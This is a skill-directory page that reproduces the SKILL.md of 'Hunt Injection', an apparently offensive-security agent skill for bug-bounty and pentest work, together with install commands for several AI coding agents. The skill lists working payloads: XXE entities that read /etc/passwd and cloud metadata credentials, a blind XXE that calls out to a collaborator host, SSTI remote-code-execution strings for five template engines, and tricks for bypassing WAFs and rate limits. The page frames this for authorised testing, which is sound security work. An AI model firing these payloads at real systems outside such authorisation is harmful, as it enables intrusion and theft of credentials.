Operate Sqlmap
cyberful/cyberful
Use sqlmap to confirm and characterize suspected SQL injection with faithful requests and bounded evidence.
GraphQL IDOR/auth-bypass, XXE file-read/SSRF (SVG/DOCX/SAML), SSTI detection and RCE.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-injection -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-injection --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/hunt/hunt-injection .claude/skills/hunt-injection && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "hunt-injection" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-injection into .claude/skills/hunt-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-injection", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-injectionType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-injection -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-injection --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/hunt/hunt-injection .agents/skills/hunt-injection && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "hunt-injection" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-injection into .agents/skills/hunt-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-injection", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-injection -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-injection --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/hunt/hunt-injection .cursor/skills/hunt-injection && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "hunt-injection" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-injection into .cursor/skills/hunt-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-injection", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/Encod3d-Sec/TORCH.git --path skills/hunt/hunt-injection--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-injection -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-injection --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/hunt/hunt-injection .gemini/skills/hunt-injection && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "hunt-injection" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-injection into .gemini/skills/hunt-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-injection", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install Encod3d-Sec/TORCH hunt-injectionInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add Encod3d-Sec/TORCH --skill hunt-injection -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/hunt/hunt-injection .github/skills/hunt-injection && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "hunt-injection" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-injection into .github/skills/hunt-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-injection", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-injection -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-injection --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/hunt/hunt-injection .opencode/skills/hunt-injection && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "hunt-injection" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-injection into .opencode/skills/hunt-injection/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-injection", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
hunt-injectionGraphQL IDOR/auth-bypass, XXE file-read/SSRF (SVG/DOCX/SAML), SSTI detection and RCE.
Hunt Injection is an agent skill from Encod3d-Sec/TORCH. GraphQL IDOR/auth-bypass, XXE file-read/SSRF (SVG/DOCX/SAML), SSTI detection and RCE. OOB-mandatory for blind XXE. Wiki-first, FIND schema output.
Its SKILL.md is about 2k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Security, covering Web application vulnerabilities, GraphQL and Word documents. It works with GraphQL and Microsoft Word. The repository describes itself as: Karpathy LLM based claude harness for PenetrationTesting / Bugbounty using obsidian. The licence is MIT.
5 steps, taken from the first numbered list in SKILL.md.
Read from SKILL.md and the folder at commit d21b6c9. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Shell commands in SKILL.md call:
curlpython3From the folder's file list and the shell code blocks in SKILL.md.
Hosts in commands or code, which the agent is likely to contact:
w3.orgFrom URLs in SKILL.md, links to its own repository left out.
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Hunt Injection loads about 2k tokens when it runs. Until then it costs about 40 tokens; SKILL.md has 732 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from Encod3d-Sec/TORCH at commit d21b6c9, republished under its MIT licence (© Encod3d-Sec). 732 words, ~1,972 tokens.
.claude/skills/hunt-injection/SKILL.md (or your agent's skills folder).Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
qmd_query "SSTI XXE GraphQL injection template injection XML external entity" via wiki-search MCPHub: [[web-moc]] (live web index). Primary page: [[ssti]]. Payload arsenals: wiki/payloads/{ssti,xxe,graphql,xslt}.md.
Anchors: [[xxe]], [[graphql-attacks]], [[xslt-injection]] (server-side XSLT injection, payloads [[xslt]]).
/graphql /api/graphql /v1/graphql /query /gql
POST requests with {"query": "..."} body in Burp history
"apollo", "ApolloClient", "gql`" in JS bundlescurl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { queryType { fields { name } } } }"}'If blocked, try: {"query":"{ __typename }"}
Skill(hunt-burp) / the Burp MCP) so the operator can replay them.Introspection disabled -> {"query":"{ __typename }"} confirms GraphQL is live; then field-suggestion mining (typo a field, the error often names valid ones), alias-based enumeration for parallel object access, and query batching (array body) to bypass per-request rate limits and some auth checks.
/upload /import /parse /convert /saml/acs /soap/*
Content-Type: application/xml or text/xml
SVG, DOCX, XLSX, PPTX file upload featuresRank: SAML ACS and document/office upload converters first (parsers there routinely resolve external entities), then any endpoint you can flip to Content-Type: application/xml.
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root><?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://YOUR_COLLAB/xxe?x="> %xxe;
]>
<root>test</root><?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg><!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">XML/DTD rejected -> switch vector (SVG/DOCX/XLSX/PPTX upload, or a Content-Type: application/xml swap on a JSON endpoint), UTF-16/UTF-7 re-encode the payload, wrap the leaked file through php://filter/convert.base64-encode/resource= for binary/PHP source, and use parameter entities + an external DTD when the inline DOCTYPE is blocked.
{{7*7}} -> 49 = Jinja2 / Twig
${7*7} -> 49 = Freemarker / Velocity / SpEL
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako
*{7*7} -> 49 = Spring Thymeleaf
{{7*'7'}} -> 7777777 = Jinja2 (not Twig)# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# ERB (Ruby)
<%= `id` %>
# Freemarker
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
# Spring Thymeleaf SpEL
*{T(java.lang.Runtime).getRuntime().exec('id')}Prove RCE with a harmless command (id / whoami) first - as the payloads above do. Never lead with a destructive command to demonstrate execution.
Highest yield first: PDF/invoice generators and email-template fields (server-side render by design), then name/bio/description fields, invoice names, search queries reflected in results, URL path parameters, and HTTP headers reflected in responses.
{{7*7}} filtered or returned literally -> cycle every engine syntax above, then bypass keyword filters via attribute-access variants (request["application"] vs request.application), string concatenation to rebuild blocked names, and hex/unicode escapes. WAF on __class__ -> |attr('__class__').
hunt-rce.http://169.254.169.254/... for cloud metadata or an internal service; for the full SSRF surface (redirect bypass, protocol smuggling, Collaborator-gated blind) hand off to hunt-ssrf. File read escalates to source/config disclosure and, through those, to further creds.node(id:) traversal are IDOR - hand off to hunt-idor (two-account method) or hunt-api (BOLA/BFLA, mass assignment, batching).Per hunt-core. Reproduce every claim in a clean session before scaffolding a FIND; a response body on its own is not proof.
SSTI - NOT confirmation: a {{7*7}} (or ${7*7} / <%= 7*7 %>) reflected back literally as {{7*7}}; an error naming the template engine; input echoed unchanged.
SSTI - IS confirmation: the expression is evaluated - {{7*7}} renders 49, {{7*'7'}} renders 7777777, or a rendered object comes back (e.g. a dumped config object). RCE is confirmed only when a safe command (id / whoami) returns its real output.
XXE - NOT confirmation: a parser error, a 500, or "entity not allowed" - these prove XML is parsed, not that the entity resolved.
XXE - IS confirmation: the external entity resolves to real content - /etc/passwd (or metadata creds) reflected in the response, OR an out-of-band callback.
Blind XXE / blind SSTI need an OOB HIT. When you plant a blind/OOB payload (parameter-entity XXE, or SSTI with no reflected sink), fire it at your own interactsh/Collaborator listener and append a row to targets/<eng>/oob.md:
| <token> | <sink url+param> | xxe | <date> | waiting | |(columns: token | sink | class | planted | status | source; token = your unique interactsh/Collaborator label). The recon-capture hook flips the row waiting -> HIT on the incoming callback and SessionStart surfaces HITs; that HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind XXE (or blind SSTI) without a HIT row.
| Confirmed | Severity |
|---|---|
| SSTI -> RCE | critical |
| SSTI, sandboxed (no RCE) | medium |
| XXE file read | high (critical if cloud-metadata creds retrieved) |
| XXE -> SSRF | high |
| GraphQL IDOR / auth bypass | high |
Distill when confirmed (GENERIC, no client host): python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/ssti.md (XXE -> techniques/web/xxe.md; GraphQL -> techniques/web/graphql-attacks.md).
Append: - [ ] XXE on <host> -- XML rejected (JSON-only), SVG sanitized, parameter entities blocked;
SSTI -- {{7*7}} literal across all engines; GraphQL -- introspection off, no field suggestionsRecord what you tried, not just that it failed. The next pass needs the boundary.
© Encod3d-Sec, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Just SKILL.md in skills/hunt/hunt-injection of Encod3d-Sec/TORCH.
Open the folder on GitHubat commit d21b6c9
Hunt Injection next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Hunt Injection this skillEncod3d-Sec/TORCH | 329 | — | ~2k | Automated safety check: Pass | MIT | |
| Operate Sqlmapcyberful/cyberful | 135 | — | ~1.1k | Automated safety check: Pass | AGPL-3.0 | |
| Offensive ReportingSnailSploit/Claude-Red | 7.4k | — | ~3.7k | Automated safety check: Pass | MIT | |
| API Auditbriiirussell/cybersecurity-skills | 413 | — | ~2.8k | Automated safety check: Notes | MIT | |
| Playwright Best Practicessanity-io/sanity | 6.4k | 7 repos | ~6.4k | Automated safety check: Pass | MIT | |
| Web Xxes0ld13rr/pentestcode | 828 | — | ~585 | Automated safety check: Pass | MIT |
cyberful/cyberful
Use sqlmap to confirm and characterize suspected SQL injection with faithful requests and bounded evidence.
SnailSploit/Claude-Red
Penetration test and red team report writing methodology. An agent skill from SnailSploit/Claude-Red.
briiirussell/cybersecurity-skills
Audit REST, GraphQL, and RPC APIs against the OWASP API Security Top 10 (2023).
sanity-io/sanity
A skill your agent uses when writing Playwright tests, fixing flaky tests, debugging failures, implementing Page Object Model, configuring CI/CD, optimizing performance, mocking APIs, handling…
s0ld13rr/pentestcode
XML External Entity injection detection→file-read/SSRF→proof for web apps.
Gabson0x/bountyforge
Complete reference for 28 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples.
Encod3d-Sec/TORCH
Runs a bug-bounty engagement through a script that tracks the current pass, builds a board of rows from recon and prints the next required action each turn.
Encod3d-Sec/TORCH
Checks that the bb, pt and ctf workflow driver is set up correctly on a machine: vault content, skill symlinks, hooks, imports and a live smoke test, with fixes for failures.
Encod3d-Sec/TORCH
Opens a visible Chromium window on a Kali VM so an operator can complete a manual login or CAPTCHA while the agent watches and acts through the chrome-devtools MCP.
Encod3d-Sec/TORCH
Runs a capture-the-flag box from first scan to root with a driver script that tracks progress and prints the next action each turn.
Encod3d-Sec/TORCH
Decides when a main pentesting agent should hand a fully-specified, mechanical exploit-compile or privilege-escalation step to a cheaper sub-agent, and how to specify that handoff safely.
Encod3d-Sec/TORCH
Adaptive web fuzzing for pentests, bug bounty and CTF work: picks the smallest suitable SecLists wordlist per target surface and calibrates filters against soft-404 responses.
Works with
Categories
GraphQL IDOR/auth-bypass, XXE file-read/SSRF (SVG/DOCX/SAML), SSTI detection and RCE. Hunt Injection is an agent skill from Encod3d-Sec/TORCH. GraphQL IDOR/auth-bypass, XXE file-read/SSRF (SVG/DOCX/SAML), SSTI detection and RCE.
Hunt Injection fits situations like: tasks that involve Web application vulnerabilities; tasks that involve GraphQL; tasks that involve Word documents.
Run `npx skills add Encod3d-Sec/TORCH --skill hunt-injection -a claude-code`. Or copy the skill folder (skills/hunt/hunt-injection in Encod3d-Sec/TORCH) into .claude/skills/hunt-injection in your project. Claude Code loads it when a task matches its description.
Run `npx skills add Encod3d-Sec/TORCH --skill hunt-injection -a codex`. Or copy the skill folder (skills/hunt/hunt-injection in Encod3d-Sec/TORCH) into .agents/skills/hunt-injection in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add Encod3d-Sec/TORCH --skill hunt-injection -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/hunt-injection, .gemini/skills/hunt-injection, .github/skills/hunt-injection and .opencode/skills/hunt-injection in your project.
Going by SKILL.md and its folder, Hunt Injection needs the command-line tools its instructions call (curl and python3). Our summary lists: Python 3.
SKILL.md names 1 domain. In commands or code: w3.org; the agent is likely to contact it when it follows the instructions. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
Hunt Injection is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
About 2k tokens (SKILL.md is roughly 7.9k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Hunt Injection: Operate Sqlmap (cyberful/cyberful, 135 stars), Offensive Reporting (SnailSploit/Claude-Red, 7.4k stars), API Audit (briiirussell/cybersecurity-skills, 413 stars) and Playwright Best Practices (sanity-io/sanity, 6.4k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
Encod3d-Sec (a GitHub user) maintains it in Encod3d-Sec/TORCH, which has 329 GitHub stars. The repository holds 35 skills in this directory. The repository was last updated on September 1, 2026.
Source: Encod3d-Sec/TORCH on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.